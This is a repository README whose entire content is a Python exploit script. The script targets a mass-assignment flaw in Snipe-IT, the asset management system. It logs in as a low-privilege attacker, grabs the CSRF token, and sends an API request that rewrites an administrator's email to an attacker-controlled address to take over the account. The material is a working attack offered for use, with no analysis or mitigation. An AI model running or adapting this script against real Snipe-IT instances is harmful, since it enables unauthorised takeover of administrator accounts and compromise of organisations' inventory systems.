README.md
Rendering markdown...
import requests
from bs4 import BeautifulSoup
import argparse
import sys
# Configuration
BASE_URL = "http://localhost:8000"
LOGIN_URL = f"{BASE_URL}/login"
print("""
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄
█████▀▀▀ ▀▀ ███▀▀███▄
▀████▄ ████▄ ██ ████▄ ▄█▀█▄ ████▄ ███▄▄███▀ ██ ██ ████▄ ▄█▀█▄ ████▄
▀████ ██ ██ ██ ██ ██ ██▄█▀ ██ ▀▀ ███▀▀▀▀ ██ █ ██ ██ ██ ██▄█▀ ██ ▀▀
███████▀ ██ ██ ██▄ ████▀ ▀█▄▄▄ ██ ███ ██▀██ ██ ██ ▀█▄▄▄ ██
██
▀▀
""")
print("Snipe-IT Mass Assignment Exploit (Account Takeover)")
print("\n")
def parse_args():
parser = argparse.ArgumentParser(description="Snipe-IT Mass Assignment Exploit (Account Takeover)")
# target admin infos
parser.add_argument("--target-id", type=int, default=1, help="ID of the target admin user (default: 1)")
parser.add_argument("--admin-username", type=str, required=True, help="Username of the admin account")
parser.add_argument("--admin-firstname", type=str, required=True, help="First name of the admin account")
parser.add_argument("--admin-email", type=str, required=True, help="New email of the admin account (Account Takeover) - put a attacker controlled email")
# attacker creds
parser.add_argument("--attacker-username", type=str, required=True, help="Username of the attacker's account")
parser.add_argument("--attacker-password", type=str, required=True, help="Password of the attacker's account")
return parser.parse_args()
def login(args):
session = requests.Session()
# 1 get login page to fetch CSRF token
print(f"Fetching login page: {LOGIN_URL}")
try:
response = session.get(LOGIN_URL)
response.raise_for_status()
except requests.exceptions.RequestException as e:
print(f"Error fetching login page: {e}")
return None
soup = BeautifulSoup(response.text, 'html.parser')
token_input = soup.find('input', {'name': '_token'})
if not token_input:
print("Could not find CSRF token on login page.")
return None
csrf_token = token_input['value']
print(f"CSRF Token found: {csrf_token}")
# 2 perform login
payload = {
'_token': csrf_token,
'username': args.attacker_username,
'password': args.attacker_password
}
print(f"Attempting login as {args.attacker_username}")
try:
response = session.post(LOGIN_URL, data=payload, allow_redirects=True)
response.raise_for_status()
except requests.exceptions.RequestException as e:
print(f"Error during login POST: {e}")
return None
# 3 verify login success
if response.url == f"{BASE_URL}/" or "dashboard" in response.url or "Logout" in response.text:
print("Login successful!")
return session, csrf_token
else:
print("Login failed. Check credentials or response.")
return None
def exploit(session, csrf_token, args):
target_url = f"{BASE_URL}/api/v1/users/{args.target_id}"
print(f"\n[*] Sending Exploit Payload to {target_url}...")
headers = {
'X-CSRF-TOKEN': csrf_token,
'Content-Type': 'application/json',
'Accept': 'application/json'
}
# Payload for Mass Assignment
payload = {
"username": args.admin_username,
"first_name": args.admin_firstname,
"email": args.admin_email,
"activated": 1,
}
try:
response = session.put(target_url, json=payload, headers=headers)
if response.status_code == 200:
print("EXPLOIT SUCCESSFUL!")
print("\nInfos:")
print(f"Username: {args.admin_username}")
print(f"First Name: {args.admin_firstname}")
print(f"Email: {args.admin_email}")
else:
print("Exploit failed.")
except requests.exceptions.RequestException as e:
print(f"Error during exploit request: {e}")
if __name__ == "__main__":
args = parse_args()
result = login(args)
if result:
session, csrf_token = result
exploit(session, csrf_token, args)